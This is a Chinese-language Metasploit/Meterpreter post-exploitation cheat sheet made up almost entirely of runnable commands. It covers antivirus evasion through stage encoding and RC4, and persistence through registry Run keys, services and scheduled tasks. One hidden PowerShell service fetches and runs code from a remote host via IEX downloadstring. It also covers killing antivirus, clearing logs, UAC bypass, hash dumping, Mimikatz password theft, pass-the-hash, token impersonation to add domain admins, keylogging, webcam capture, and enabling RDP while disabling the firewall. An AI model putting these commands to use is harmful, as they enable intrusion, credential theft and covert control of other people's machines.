监听
AutoRunScrip：自动执行脚本
如：自动执行post/windows/manage/migrate
set AutoRunScript post/windows/manage/migrate set autorunscript migrate -f #获取shell后，将自动迁移到另一个进程
自动注入进程
set prependmigrate true set prependmigrateProc svchost.exe
set exitonsession false //可以让建立监听的端口继续保持侦听，可以接受多个session set stagerverifysslcert false //防止获取shell的时候出现的SSL_accept错误
免杀
将控制端向被控制端发送的stage进行编码，从而绕过symantec的查杀
set EnableStageEncoding true set stageencoder x86/fnstenv_mov set stageencodingfallback false
相当于使用RC4
msfvenom -p windows/meterpreter/reverse_tcp_rc4 LHOST=xxx lport=xxxx RC4PASSWORD=yourpass -f c
利用rc4对传输的数据进行加密，密钥在生成时指定，在监听的服务端设置相同的密钥。可以绕过symantec，且不用设置stageencoder选项，更稳定更方便
绕过杀软的添加自启动
exploit/windows/local/registry_persistence
同类型的还有其他payload，如
exploit/windows/local/vss_persistence，exploit/windows/local/s4u_persistence
后门脚本
1.persistence
metasploit/scripts/meterpreter/persistence
用于创建通过启动项启动。会创建注册表，创建文件，但是很容易被杀软拦截。
命令示例：
run persistence -A -U -i 5 -p 443 -r 192.168.2.101
使用-S可创建服务。-U 会在HKCU添加启动项，-X 会在HKLM添加启动项
能实现同样功能的脚本还有：
exploit/windows/local/persistence.rb
exploit/windows/local/registry_persistence.rb
2.metsvc.rb
metasploit/scripts/meterpreter/metsvc.rb
用于创建服务启动。会创建meterpreter服务，并上传三个文件。很容易被杀软拦截，且安装服务需要管理员权限。
命令：
run metsvc -A
使用 -r 参数可卸载服务。
3、Scheduleme & Schtasksabuse
metasploit/scripts/meterpreter/scheduleme.rb
metasploit/scripts/meterpreter/schtasksabuse.rb
这两个脚本都是通过schtasks来创建计划任务来达到维持权限的目的
区别是scheduleme 需要当前进程拥有最高管理权限，而schtasksabuse则不需要，（测试发现很容易被杀软拦截）。
使用举例：
run scheduleme -m 1 -e /tmp/nc.exe -o "-e cmd.exe -L -p 8080" #上传nc并创建计划任务每一分钟执行一次 'nc -e cmd.exe -L -p 8080' run scheduleme -m 1 -c "cmd /c calc.exe" # 创建计划任务每一分钟执行一次打开计算器命令
其他参数有兴趣自己看看就不详细介绍了
schtasksabuse
run schtasksabuse -t 192.168.2.7 -c "cmd /c calc.exe" -d 4 #每隔4秒执行一次calc.exe
使用脚本需要加-t参数
能实现同样功能的脚本还有：exploits/windows/local/s4u_persistence
4. Mof_ps_persist
Powershell之MOF后门 提到过，创建WMI后门的一种方式，可以在你的MSF添加此脚本。(运行需要管理员权限，不容易被拦截)
绕过拦截的计划任务：
schtasks /create /tn mytask /tr notepad.exe /sc hourly /mo 1 #每小时执行一次
设置持久化后门
设置powershell脚本开机自启动后门
sc create "name" binpath= "cmd /c start powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://192.168.1.82:19001/a'))\""
sc config “name” start= auto
sc description “name” “description” 设置服务的描述字符串
net start “name” 启动服务
sc delete “name” 删除这个服务，不想使用服务直接删除
创建自启动木马服务
先创建一个服务名称后面跟着木马上传的路径，这里如果要保证”windows Service EXE程序不被杀毒软件拦截,最好做下免杀,在放到更加隐蔽的目录
sc create "server power" binpath= "C:\Users\Administrator\Desktop\artifact.exe" sc description "server power" "description" 设置服务的描述字符串 sc config "server power" start= auto 设置这个服务为自动启动 net start "server power" 启动服务
也可以用注册表添加自启动
生成一个exe木马程序（免杀）
设置开机启动项，往注册表HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run添加木马程序路径
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "Keyname" /t REG_SZ /d "C:\Users\Administrator\Desktop\artifact1.exe" /f
当系统注销,再次进入登入到目标系统就会上线,权限是继承的。
Meterpreter后渗透命令
基本命令
ps/migrate/sysinfo/screenshot /background cd/cat/ls/del/mkdir/rm/edit edit c:\\windows\\system32\\drivers\\etc\\hosts 编辑文件 upload /root/nc.exe c:\\windows\\system32 #上传 download c:\\Programs Files\\Tecent\\QQ\\Users\\qq号\\Msg2.0.db /etc(聊天记录) #下载目标聊天记录，可用Qqlogger查看 clearev --清除日志 run killav --干掉杀软 run vnc --开启目标vnc服务 run scraper --列举系统及用户敏感信息、下载用户注册表 run metsvc --在目标上将meterpreter安装为后门服务，
绕过 UAC
meterpreter> run post/windows/escalate/bypassuac uictl enable keyboard/mouse #获取键盘或鼠标的控制权 timestomp 文件a -f 文件b #把文件a的时间信息设置的与b相同 run webcam -p 图片保存路径 #开启目标摄像头并截图 run packetrecorder –i 会话序号 #捕获流量数据包.pcap setdesktop -更改 meterpreter 桌面 sessions –u 会话序号 #将shenll会话转换成meterpreter getwd –显示目录 lcd -更改目录 getprivs -获取更多特权 getpid -获取当前进程 ID (PID) getsystem 获得系统权限 getuid -获取作为运行服务器的用户 search –d c:\\windows –f *.mdb #在目标主机Windows目录中搜索文件
提权
use priv
getsystem
getuid
执行程序
execute -H -i -f cmd.exe #隐藏执行cmd并与之交互 execute -H -m -d calc.exe -f wce.exe -a “-o foo.txt” #隐藏，从内存中，显示虚假运行程序，执行恶意程序
搜集信息
run post/windows/gather/forensics/enum_drivers #获取磁盘分区信息 run post/windows/gather/checkvm (run checkvm) #检测是否为虚拟机 run post/windows/gather/dumplinks --查看目标最近系统操作路径(较慢) run post/windows/gather/enum_applications #查看目标的软件更新和补丁
获取hash
hashdump或run hashdump或run smart_hashdump >run post/windows/gather/hashdump >run /windows/gather/smart_hashdump --可绕过windows UAC控制
reg command #修改注册表
run getgui –u 建立用户名 –p 建立用户的密码 #建立账户并开启远程终端
run multi_console_command –rc /root/.msf3/logs/scripts/getgui/clean_up_*.rc #清除脚本痕迹
键盘记录
keyscan_start keyscan_dump keyscan_stop
run post/windows/capture/keylog_recorder
嗅探
msf > use auxiliary/sniffer/psnuffle
msf auxiliary(psnuffle) > run
开启 RDP 服务
reg add "hklm\system\currentcontrolset\control\terminal server" /f /v fDenyTSConnections /t REG_DWORD /d 0 netsh firewall set service remoteadmin enable netsh firewall set service remotedesktop enable 关闭 Windows 防火墙 netsh firewall set opmode disable
开启vnc
meterpreter>runvnc
meterpreter>runscreen_unlock
远程连接
我们尝试用RDP连接到Windows 7，。
>use post/windows/manage/enable_rdp 首先在msfconsole运行enable_rdp模块 >set SESSION 2 把SESSION设置为无UAC限制的有权限的session >run 然后用haxtorDaMan账号登录 ：xfreerdp /v:192.168.1.108 /port:3389/size:1600×900/u:haxtorDaMan /p:hax@Pass50
端口转发与远程桌面连接
portfwd add –l 9999(转发至本机的端口号) –p 3389 -r 目标IP rdesktop [-u 用户名 –p 密码] 127.0.0.1:9999 rdesktop 192.168.1.3 -f 1024x768 远程挂在本地文件夹（本地/home和/root文件夹挂在到远程服务器上分别命名为h和r） redsktop 192.168.1.3 -r disk:h=/home，r=/root 共享剪贴板: redsktop 192.168.1.3 -r clipboard:PRIMARYCLIPBOARD
Meterpreter 端口转发
https://www.offensivesecurity.com/metasploitunleashed/portfwd/
# # 反弹10.1.1.129端口3389到本地2222并监听 meterpreter > portfwd add -l 2222 -r 10.1.1.129 -p 3389 root@kali:~# rdesktop 127.1.1.0:2222
使用 Mimikatz 获取 Windows 明文用户名密码
git clone https://github.com/gentilkiwi/mimikatz.git privilege::debug sekurlsa::logonPasswords full
用kiwi获取明文密码：
meterpreter>load kiwi meterpreter> creds_all meterpreter> lsa_dump_sam
使用mimikatz自带的命令：
meterpreter > mimikatz_command -f samdump::hashes meterpreter > mimikatz_command -f sekurlsa::searchPasswords <前面一句命令在密码超过14位时LM会为空，后一句命令可能得到明文>
Metaspolit中使用Mimikatz:
使用metasploit内建的命令： meterpreter > load mimikatz meterpreter > msv #msv creden meterpreter > kerberostials #kerberos credentials 获取到系统hash置换，可以去http://www.cmd5.com/进行NTLM解密
当获取到密码的hash之后无法破解出明文密码且无法直接使用hash登陆，需要使用
pass-the-hash技术：
msf>use windows/smb/psexec set PAYLOAD windows/meterpreter/reverse_tcp set LHOST xxxx set LPORT xxxx set RHOST xxxx set SMBPassword xxxx exploit
传递哈希攻击
meterpreter > run post /windows/ gather/hashdump Administrator:500:e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c::: msf > use exploit /windows/ smb/psexec msf exploit(psexec) > set payload windows /meterpreter/ reverse_tcp msf exploit(psexec) > set SMBPass e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c msf exploit(psexec) > exploit
显示远程机器的防火墙规则，列出DEP和UAC策略。并禁用之
> run getcountermeasure > run getcountermeasure -h > run getcountermeasure -d -k
提权一般步骤
> use priv > getsystem > ps > steal_token 1784 > shell net user hack password /add /DOMAIN net group "DomainAdmins" hack /add /DOMAIN 创建一个管理员帐号 (haxtorDaMan) 把它提升到管理员组，并且成为远程桌面用户 net user haxtorDaManhax@Pass50 /add net localgroup “Administrators” haxtorDaMan /add net localgroup“Remote Desktop Users” haxtorDaMan /
令牌模拟:
当有域控账户登陆至服务器时可使用令牌模拟进行渗透取得域控权限， 之后登陆其他机器时不需要登陆密码。 > ps # 查看进程， 找出域控账户运行的进程 ID， 如 PID为 380 > steal_token 380 有时 ps命令列出的进程中可能不存在域控账户的进程， 此时使用 incognito模块查看可用 token： > use incognito (use priv4 getsystem) > list_tokens –u #列出可用 token > impersonate_token SNEAKS.IN\\ihazdomainadmin > add_user hacker password –h 域控制器IP #在域控主机上添加账户 > add_group_user “Domain Admins” hacker –h IP #将账户添加至域管理员
使用 Railgun操作 windowsAPIs
例： meterpreter> irb >>client.core.use(“railgun”) #添加Railgun模块 >>client.railgun.user32.MessageBoxA(o,“我是hack!”,“world”,“MB_OK”) #在目标机器上会弹出一个标题栏为 world，内容为“我是hack！”的窗口 >>client.railgun.user32.MessageBoxA(0,“我是hack!”,NULL,“MB_OK”) >> client.railgun.kernel32.SetThreadExecutionState(“ES_CONTINUOUS | ES_SYSTEM_ REQUIRED”) #阻止目标主机进入睡眠状态